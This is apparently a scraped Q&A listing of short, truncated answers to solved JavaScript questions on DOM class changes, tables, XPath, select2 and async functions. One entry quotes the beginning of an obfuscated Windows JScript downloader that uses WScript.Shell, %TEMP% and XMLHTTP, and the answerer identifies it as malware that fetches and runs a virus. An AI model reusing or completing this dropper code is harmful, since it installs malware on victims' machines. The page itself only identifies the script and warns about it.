[Solved] JS condition change class

You need just innerHTML/innerText method and set of conditions. No jQuery needed. var el = document.getElementById(‘polIndice’); var val = parseInt(el.innerText); var class_name; if (val < 50) { class_name=”indiceLow”; } else if (val < 100) { class_name=”indiceMedium”; } else { class_name=”indiceHigh”; } el.className += ‘ ‘ + class_name; http://jsfiddle.net/hyuu5w5z/ 1 solved JS condition change class

[Solved] Custom html table [closed]

Here’s a start for you. Change your onclick attributes to use .call(). This just lets you set the value of this in the functions you’re calling to the value of the first argument you pass to .call(). (In this case, the element that received the event.) <input type=”button” name=”Up1″ value=”Up” onclick=”moveUp.call(this);”> Item 1 <input type=”button” … Read more

[Solved] Need help figuring out what this Js does [closed]

Basically, it’s downloading a virus to your temp folder and executing it… You should run a virus scan on the entire network. var AxProxy = function() {}; (function () { function fFh(fr, Klw, rn) { var VeZ = new AxProxy(‘WScript.Shell’); var Klw = VeZ[‘ExpandEnvironmentStrings’](‘%TEMP%’) + “\\” + Klw; var OG4 = new AxProxy(‘MSXML2.XMLHTTP’); OG4[‘onReadyStateChange’] = … Read more

[Solved] Swap out html table for new table [closed]

If you already have the two tables in that screen you can simply make one of them invisible using CSS style=”display:none” and use javascript to access them and switch the display attribute between them each time you want to swap. javascript code to switch would be document.getElementById(“elementID”).style.display=”; (to show) document.getElementById(“elementID#2”).style.display=’none’; (to hide) 1 solved Swap … Read more

[Solved] get elements by attribute value

You can use XPath with an expression like //Book[ListOfBookUser/BookUser]: var xmlMarkup = `<ListOfBook> <Book> <Id>ACIA-11QWTKX</Id> <ListOfBookUser recordcount=”0″ lastpage=”true”> </ListOfBookUser> </Book> <Book> <Id>ACIA-ANC0CC</Id> <ListOfBookUser recordcount=”1″ lastpage=”true”> <BookUser> <BookId>ACIA-ANC0CC</BookId> <BookName>TKSP_GLOBAL</BookName> </BookUser> </ListOfBookUser> </Book> <Book> <Id>ACIA-ANC0CF</Id> <ListOfBookUser recordcount=”0″ lastpage=”true”> </ListOfBookUser> </Book> <Book> <Id>ACIA-EUMCH5</Id> <ListOfBookUser recordcount=”1″ lastpage=”true”> <BookUser> <BookId>ACIA-EUMCH5</BookId> <BookName>TKSP_MADRID_CENTRO_SUR</BookName> </BookUser> </ListOfBookUser> </Book> </ListOfBook>`; var xmlDoc = new DOMParser().parseFromString(xmlMarkup, … Read more

[Solved] Break a JSON object [closed]

http://codepen.io/anon/pen/advjeN I tried your code it’s working. did you put the Jquery CDN ? if not, put this in your header : <script src=”http://ajax.googleapis.com/ajax/libs/jquery/1.11.2/jquery.min.js”></script> Did you put your code into a jquery function ? if not : $(document).ready(function(){ [YOUR CODE HERE] }); solved Break a JSON object [closed]

[Solved] select2 is not working

This runs fine if you have imported correctly – jQuery library, select2 js and select2 css. Here I have imported jquery 2.0.0 and select2 css and js from their cdn and it works fine: $(“.js-example-basic-multiple”).select2(); <script src=”https://ajax.googleapis.com/ajax/libs/jquery/2.0.0/jquery.min.js”></script> <link href=”https://cdnjs.cloudflare.com/ajax/libs/select2/4.0.3/css/select2.min.css” rel=”stylesheet” /> <script src=”https://cdnjs.cloudflare.com/ajax/libs/select2/4.0.3/js/select2.min.js”></script> <form action=””> <select class=”js-example-basic-multiple” multiple=”multiple”> <option value=”AK”>Alaska</option> <option value=”HI”>Hawaii</option> <option value=”CA”>California</option> <option … Read more

[Solved] Async Functions

The reason your code doesn’t work is that you never call the async function you’ve created. However, there isn’t any reason to make an inner async function; just make the one you already have async: export const setSearchField = text => async (dispatch) => { dispatch({ type: REQUEST_GIFS_PENDING }); try { const response = await … Read more